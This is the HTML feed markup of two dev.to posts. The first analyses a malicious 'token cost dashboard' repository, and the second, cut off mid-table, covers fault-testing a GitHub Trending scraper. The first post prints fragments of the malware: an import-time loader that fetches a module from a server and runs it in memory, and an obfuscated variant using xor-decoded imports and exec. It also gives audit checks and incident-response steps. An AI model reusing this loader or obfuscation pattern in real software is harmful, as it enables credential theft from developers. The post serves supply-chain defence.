    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win32&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;win32 only&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_fetch_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;_server_base&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/v1/client/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="nf"&gt;_load_module_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CLIENT_MODULE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in &lt;code&gt;cli.py&lt;/code&gt;, at module scope:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tokentab&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup&lt;/span&gt;

&lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run_sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;      &lt;span class="c1"&gt;# line 12 — before argparse, before any output
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That line runs when the module is imported. Not when you pass a flag, not when you choose a subcommand: on import. Which means it also runs during &lt;code&gt;pip install .&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Two details worth sitting with. First, the fetched module was called &lt;code&gt;manual_mapper.py&lt;/code&gt; — a name with no relationship to counting tokens. Second, the same file still contained &lt;code&gt;Panel.fit(f"[bold cyan]text-humanizer[/bold cyan]")&lt;/code&gt; and a &lt;code&gt;Deepseek&lt;/code&gt; REPL banner: leftovers from a different project, pasted in wholesale. Written, not assembled.&lt;/p&gt;

&lt;h2&gt;
  
  
  It did not get fixed. It got obfuscated.
&lt;/h2&gt;

&lt;p&gt;Commit &lt;code&gt;3a7aac5&lt;/code&gt; (2026-09-19, "add cursor support") deleted the readable version and replaced it with this shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;_rd9r1n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;_ddsw42wg7z&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;246&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;243&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;253&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;      &lt;span class="c1"&gt;# hmac
&lt;/span&gt;&lt;span class="n"&gt;_xvz9negeaj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;126&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;117&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;       &lt;span class="c1"&gt;# zlib
&lt;/span&gt;&lt;span class="n"&gt;_ttyvpj&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;_rd9r1n&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;  &lt;span class="c1"&gt;# hashlib
&lt;/span&gt;
&lt;span class="n"&gt;_a85u37nq1e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;249&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;203&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;133&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;92&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;]]&lt;/span&gt;   &lt;span class="c1"&gt;# ~7 KB of int arrays
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…then an HMAC-SHA256 keystream over the reassembled blob, &lt;code&gt;zlib.decompress&lt;/code&gt;, and the last line of the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_i44hyn5c6u&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="nf"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;__import__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;builtins&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="nf"&gt;_q6newk&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nf"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="nf"&gt;_i44hyn5c6u&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;          &lt;span class="c1"&gt;# line 42, runs on import
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cli.py&lt;/code&gt; line 12 now reads &lt;code&gt;setup.run_sync(FORCE_SYNC=True)&lt;/code&gt;. Same behaviour, one difference that matters: stage 2 no longer needs the network, because it ships inline and unpacks in memory.&lt;/p&gt;

&lt;p&gt;The lesson that cost me a credential rotation: &lt;strong&gt;read the tail of the file, not the head.&lt;/strong&gt; The trigger was the last line.&lt;/p&gt;

&lt;p&gt;Verify it yourself — clone only, do not &lt;code&gt;pip install .&lt;/code&gt; or run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone &lt;span class="nt"&gt;--depth&lt;/span&gt; 1 https://github.com/crwdla/tokentab &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;tokentab
git show d9e8cb4:tokentab/setup.py | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'12,23p'&lt;/span&gt;   &lt;span class="c"&gt;# CONFIG block&lt;/span&gt;
git show d9e8cb4:cli.py            | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'1,14p'&lt;/span&gt;    &lt;span class="c"&gt;# import-time call&lt;/span&gt;
git show 3a7aac5:tokentab/setup.py                     &lt;span class="c"&gt;# obfuscated variant&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why dev tooling is the ideal delivery vehicle
&lt;/h2&gt;

&lt;p&gt;Machine that runs coding agents = &lt;code&gt;.env&lt;/code&gt; with provider keys, a git token, a registry token, cloud credentials, and for me a market-data API key for an A-share pipeline. A "token cost dashboard" asking to read your session logs is a &lt;em&gt;plausible&lt;/em&gt; reason to be in there — session logs contain your prompts, your code, and your absolute paths.&lt;/p&gt;

&lt;p&gt;Stars are not evidence either. Four commits, one account, two weeks old, 1,145 stars.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 20 seconds I spend now
&lt;/h2&gt;

&lt;p&gt;Five checks, no install, nothing executed. I wrapped them into two scripts (&lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;repo below&lt;/a&gt;, &lt;code&gt;audit.sh&lt;/code&gt; for bash and &lt;code&gt;audit.py&lt;/code&gt; for Windows):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash audit.sh https://github.com/&amp;lt;owner&amp;gt;/&amp;lt;repo&amp;gt;
python audit.py ./local/checkout
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Why it is the check&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;hardcoded IP endpoints, with or without scheme&lt;/td&gt;
&lt;td&gt;an open-source CLI that talks to &lt;code&gt;203.0.113.7:8765&lt;/code&gt; has no documented reason to; real tools use a domain and a real API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;fetch → exec / compile / decompress&lt;/code&gt; chains&lt;/td&gt;
&lt;td&gt;downloading code and running it in-process &lt;em&gt;is&lt;/em&gt; the malware pattern; the fetcher and the &lt;code&gt;exec&lt;/code&gt; are frequently in different files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;import-time side effects (&lt;code&gt;setup.run_sync()&lt;/code&gt;, &lt;code&gt;_i44hyn5c6u()&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;runs before you see output, and inside &lt;code&gt;pip install .&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;obfuscation smell: xor lambdas, big int-array literals, &lt;code&gt;getattr(mod, &amp;lt;decoded&amp;gt;)&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;no cost-tracking CLI needs to hide module names behind byte arithmetic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;declared vs real distribution (PyPI name, npm &lt;code&gt;preinstall&lt;/code&gt;/&lt;code&gt;postinstall&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;an install hook is code you never read and always run&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Run against the two versions above, the checker reports 4 findings for each. Run against a benign repo of mine, it reports zero.&lt;/p&gt;

&lt;h2&gt;
  
  
  The false positive that almost killed the tool
&lt;/h2&gt;

&lt;p&gt;My first version flagged &lt;code&gt;414.336.75.75&lt;/code&gt; in a clean repo. It was SVG path data — &lt;code&gt;&amp;lt;path d="...414.336.75.75..."&amp;gt;&lt;/code&gt; — matching loosely as an IPv4. I added an octet range validation (each part ≤ 255) and it went quiet. A checker that cries wolf on &lt;code&gt;viewBox&lt;/code&gt; attributes gets ignored by the second week, which is strictly worse than not having one.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you already executed it
&lt;/h2&gt;

&lt;p&gt;Order matters more than thoroughness here.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Kill the process by command line.&lt;/strong&gt; Never blanket-kill the interpreter: on an agent host &lt;code&gt;pkill python&lt;/code&gt; takes your agent down with the payload.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clone nothing else from that author&lt;/strong&gt; until you're done.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate everything the process could read&lt;/strong&gt; — &lt;code&gt;.env&lt;/code&gt;, provider keys, git credentials, registry tokens. Assume the machine's full credential set is burnt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check persistence&lt;/strong&gt; (Run keys, scheduled tasks, Startup, &lt;code&gt;hosts&lt;/code&gt;). Memory-only payloads leave nothing, so a clean result is not an all-clear.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reboot.&lt;/strong&gt; A purely in-memory implant doesn't survive a restart. If there's no file to delete, this is the only removal step that reliably works.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inventory what else has execution rights&lt;/strong&gt;, because disk scanning can't see runtime behaviour:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan                                    &lt;span class="c"&gt;# agents / MCP servers / plugins / hooks&lt;/span&gt;
npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan &lt;span class="nt"&gt;--json&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCALAPPDATA&lt;/span&gt;&lt;span class="s2"&gt;/Temp/geiger_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.json"&lt;/span&gt;
npx &lt;span class="nt"&gt;-y&lt;/span&gt; geiger-scan &lt;span class="nt"&gt;--diff&lt;/span&gt; baseline.json               &lt;span class="c"&gt;# what appeared since last week&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On my machine the number that mattered wasn't 65 items across 7 ecosystems — it was the 13 items in the &lt;code&gt;EXECUTES&lt;/code&gt; tier. One of them was an agent event hook, and hooks run &lt;strong&gt;without a prompt&lt;/strong&gt;, so silently replacing one hook file is a complete backdoor. &lt;code&gt;--diff&lt;/code&gt; against last week's snapshot is the only thing that tells you &lt;em&gt;when&lt;/em&gt; something new walked in.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this cannot do
&lt;/h2&gt;

&lt;p&gt;A static grep does not see runtime behaviour — I could not recover the stage-2 program above without executing it, and that's the point: by then the audit has already failed. It also misses stage-2 code fetched at run time from a domain that looks clean today, anything that never touches disk, and compromised releases of tools you already trust.&lt;/p&gt;

&lt;p&gt;It is triage, not security. Its job is to make "clone and run" cost 20 seconds of reading instead of a credential rotation.&lt;/p&gt;




&lt;p&gt;Both scripts are MIT and dependency-free here: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;github.com/Felixwang007/agent-supply-chain-audit&lt;/a&gt;&lt;/strong&gt; — &lt;code&gt;audit.sh&lt;/code&gt;, &lt;code&gt;audit.py&lt;/code&gt;, and the checklist in the README.&lt;/p&gt;

&lt;p&gt;The same checklists ship as agent skills I publish on 虾评 (xiaping.coze.com) for anyone driving Claude Code / Codex / Hermes-style agents. If you've hit a different flavour of this — a poisoned MCP server, a lookalike npm package, a "harmless" postinstall script — I'd like to compare notes in the comments.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Broke My Own GitHub Trending Scraper 5 Ways on Purpose. All 5 Builds Stayed Green.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 17 Sep 2026 04:59:29 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-broke-my-own-github-trending-scraper-5-ways-on-purpose-all-5-builds-stayed-green-59ah</link>
      <guid>https://dev.to/felixwang007/i-broke-my-own-github-trending-scraper-5-ways-on-purpose-all-5-builds-stayed-green-59ah</guid>
      <description>&lt;p&gt;I run a zero-API GitHub Trending aggregator. In the 52 days since I set it up, it has fired &lt;strong&gt;201 times&lt;/strong&gt; and &lt;strong&gt;199 of those runs succeeded&lt;/strong&gt;. The only two failures happened on day one and had nothing to do with scraping — GitHub Pages wasn't enabled yet, so the deploy step returned a 404.&lt;/p&gt;

&lt;p&gt;A wall of green builds reads like a health signal. So this week I stopped trusting it and tried to break my own parser on purpose.&lt;/p&gt;

&lt;p&gt;I fed it five kinds of damaged HTML — the kind of damage GitHub actually introduces during a routine CSS refactor. &lt;strong&gt;Every single test returned normally.&lt;/strong&gt; No exception, no non-zero exit, no failed build. The site would have published anyway, with empty or corrupted data, and CI would have filed it as a success.&lt;/p&gt;

&lt;p&gt;Here is the full teardown, the exact numbers, and the completeness canary I now run before anything ships.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the pipeline actually is
&lt;/h2&gt;

&lt;p&gt;No token. No REST API. No rate limits. That was the design constraint, so the whole thing is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;GitHub Actions cron, &lt;code&gt;0 */6 * * *&lt;/code&gt; — four runs a day.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;urllib.request&lt;/code&gt; GETs six pages: &lt;code&gt;github.com/trending?since=weekly&lt;/code&gt; plus the &lt;code&gt;python&lt;/code&gt;, &lt;code&gt;javascript&lt;/code&gt;, &lt;code&gt;typescript&lt;/code&gt;, &lt;code&gt;rust&lt;/code&gt;, and &lt;code&gt;go&lt;/code&gt; variants.&lt;/li&gt;
&lt;li&gt;A regex parser extracts repo name, description, language, total stars, forks, and weekly star gain.&lt;/li&gt;
&lt;li&gt;It writes &lt;code&gt;trending.json&lt;/code&gt; + &lt;code&gt;summary.json&lt;/code&gt; + a static &lt;code&gt;index.html&lt;/code&gt; and uploads the folder as a Pages artifact.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The latest run collected &lt;strong&gt;116 rows across those six pages&lt;/strong&gt; (22 on the all-languages page, 20 / 18 / 18 / 19 / 19 on the language pages). Across 201 runs that's roughly &lt;strong&gt;23,000 repo rows&lt;/strong&gt;, all from HTML, all for $0.&lt;/p&gt;

&lt;h2&gt;
  
  
  What that weekly snapshot actually says
&lt;/h2&gt;

&lt;p&gt;Before the failure analysis, the payload, from the run at &lt;code&gt;2026-09-17 04:39 UTC&lt;/code&gt; — all numbers below come straight out of the published &lt;code&gt;trending.json&lt;/code&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repo&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;Language&lt;/th&gt;
&lt;th&gt;This week&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;obra/superpowers&lt;/td&gt;
&lt;td&gt;287,691&lt;/td&gt;
&lt;td&gt;Shell&lt;/td&gt;
&lt;td&gt;+4,023&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;affaan-m/ECC&lt;/td&gt;
&lt;td&gt;260,457&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+5,292&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;microsoft/markitdown&lt;/td&gt;
&lt;td&gt;184,901&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+2,733&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DietrichGebert/ponytail&lt;/td&gt;
&lt;td&gt;140,542&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+7,218&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;github/spec-kit&lt;/td&gt;
&lt;td&gt;137,423&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+3,019&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TauricResearch/TradingAgents&lt;/td&gt;
&lt;td&gt;107,085&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;+3,350&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;addyosmani/agent-skills&lt;/td&gt;
&lt;td&gt;95,574&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;+2,119&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ayghri/i-have-adhd&lt;/td&gt;
&lt;td&gt;47,005&lt;/td&gt;
&lt;td&gt;Python&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+13,737&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;bilawalsidhu/gods-eye-view&lt;/td&gt;
&lt;td&gt;36,174&lt;/td&gt;
&lt;td&gt;JavaScript&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+14,777&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;alibaba/open-code-review&lt;/td&gt;
&lt;td&gt;32,463&lt;/td&gt;
&lt;td&gt;Go&lt;/td&gt;
&lt;td&gt;+8,594&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The 22 repos on that page represent &lt;strong&gt;1,709,069 stars&lt;/strong&gt; in total.&lt;/p&gt;

&lt;p&gt;I classified them with an explicit, reproducible rule: a repo counts as &lt;em&gt;agent infrastructure&lt;/em&gt; if its name or description contains one of &lt;code&gt;skill&lt;/code&gt;, &lt;code&gt;plugin&lt;/code&gt;, &lt;code&gt;agent&lt;/code&gt;, &lt;code&gt;harness&lt;/code&gt;, &lt;code&gt;context&lt;/code&gt;, &lt;code&gt;memory&lt;/code&gt;, &lt;code&gt;mcp&lt;/code&gt;, &lt;code&gt;prompt&lt;/code&gt;, &lt;code&gt;spec-kit&lt;/code&gt;, &lt;code&gt;superpowers&lt;/code&gt;, &lt;code&gt;humanizer&lt;/code&gt;, &lt;code&gt;no-ai-slop&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Result: &lt;strong&gt;19 of 22 repos (86%)&lt;/strong&gt;, holding &lt;strong&gt;1,397,405 of those stars (82%)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The three that didn't match are &lt;code&gt;bilawalsidhu/gods-eye-view&lt;/code&gt; (browser spy-satellite simulator), &lt;code&gt;microsoft/markitdown&lt;/code&gt; (document → markdown), and &lt;code&gt;home-assistant/core&lt;/code&gt;. The rule is keyword-based and I'm not going to pretend it's a semantic classifier — but when the three exceptions are a satellite simulator, a document converter, and Home Assistant, the trend isn't ambiguous. What developers are starring hardest in September 2026 is the layer that &lt;em&gt;wraps the model&lt;/em&gt;: skills, harnesses, context stores, plugin registries, and anti-slop filters. &lt;code&gt;blader/humanizer&lt;/code&gt; (49,268★) and &lt;code&gt;petergyang/no-ai-slop&lt;/code&gt; (10,178★) are both in the list — tools whose entire job is cleaning up output that another model produced.&lt;/p&gt;

&lt;h2&gt;
  
  
  The five ways I broke it
&lt;/h2&gt;

&lt;p&gt;Here's the test harness. I monkeypatched &lt;code&gt;urllib.request.urlopen&lt;/code&gt; to return saved GitHub HTML from disk, so every run is offline and deterministic, then scored the parser on four dimensions instead of just "did it crash":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rows&lt;/code&gt; — article blocks found&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;name&lt;/code&gt; — non-empty repo names&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;desc&lt;/code&gt; — non-empty descriptions&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lang&lt;/code&gt; / &lt;code&gt;stars&lt;/code&gt; — populated fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The results:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;Injected change&lt;/th&gt;
&lt;th&gt;rows&lt;/th&gt;
&lt;th&gt;names&lt;/th&gt;
&lt;th&gt;descs&lt;/th&gt;
&lt;th&gt;stars&lt;/th&gt;
&lt;th&gt;Raised?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Real saved HTML&lt;/td&gt;
